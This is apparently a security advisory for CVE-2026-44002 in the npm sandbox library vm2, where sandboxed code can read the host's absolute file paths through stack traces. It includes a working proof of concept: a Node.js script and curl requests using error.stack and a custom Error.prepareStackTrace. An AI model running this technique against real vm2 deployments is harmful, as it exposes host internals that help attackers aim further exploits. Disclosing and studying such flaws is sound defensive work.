PT-2026-38393 · Npm · Vm2

Published

2026-05-07

·

Updated

2026-05-07

·

CVE-2026-44002

CVSS v3.1

5.8

Medium

VectorAV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

Summary

vm2's CallSite wrapper class (intended as a safe wrapper for V8's native CallSite) blocks getThis() and getFunction() to prevent host object leakage, but allows getFileName() to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server.

Details

In lib/setup-sandbox.js:436-466, the CallSite class overrides getThis() and getFunction() with undefined to prevent host object references from leaking into the sandbox. However, the following methods pass through unsanitized values from the original V8 CallSite object:
  • getFileName() — returns host absolute paths like /app/node modules/vm2/lib/vm.js
  • getLineNumber(), getColumnNumber() — exact source locations
  • getFunctionName(), getMethodName(), getTypeName() — internal function names
Two exploitation paths exist:
  1. Default error.stack: new Error().stack includes host frame paths in the formatted string
  2. Custom prepareStackTrace: Attacker can set Error.prepareStackTrace to directly call getFileName() on each CallSite, extracting a clean list of all host paths

PoC

Library-level PoC (Node.js script — primary):
const { VM } = require("vm2");
const vm = new VM();

// Path A — Default error.stack
const result1 = vm.run(`try { null.x; } catch(e) { e.stack }`);
console.log(result1);
// Output includes: /app/node modules/vm2/lib/vm.js:289:18
//          /app/src/server.js:49:20

// Path B — prepareStackTrace extraction
const result2 = vm.run(`
 Error.prepareStackTrace = function(e, sst) {
  return sst.map(function(s) { return s.getFileName(); }).join(", ");
 };
 new Error().stack
`);
console.log(result2);
// Output: vm.js, node:vm, /app/node modules/vm2/lib/vm.js, /app/src/sandbox.js, ...
HTTP demonstration:
# Default error.stack
curl -s -X POST http://localhost:3000/api/execute 
 -H "Content-Type: application/json" 
 -d '{"code":"try { null.x; } catch(e) { e.stack }"}'
# Result includes host paths: /app/src/server.js, /app/node modules/express/...

# prepareStackTrace extraction
curl -s -X POST http://localhost:3000/api/execute 
 -H "Content-Type: application/json" 
 -d '{"code":"Error.prepareStackTrace = function(e, sst) { return sst.map(function(s) { return s.getFileName(); }).join(", "); }; new Error().stack"}'
# Result: /app/node modules/vm2/lib/vm.js, /app/src/sandbox.js, /app/src/server.js, ...

Impact

  • Information Disclosure: Host directory structure, library paths, framework versions, and internal architecture are exposed to sandboxed code.
  • Attack Chain: Leaked paths enable precise targeting for other vulnerabilities.
  • Scope: All applications using vm2. No special configuration required.

Fix

Generation of Error Message Containing Sensitive Information

Weakness Enumeration

CWE-209

Related Identifiers

CVE-2026-44002
GHSA-V27G-JCQJ-V8RW

Affected Products

Vm2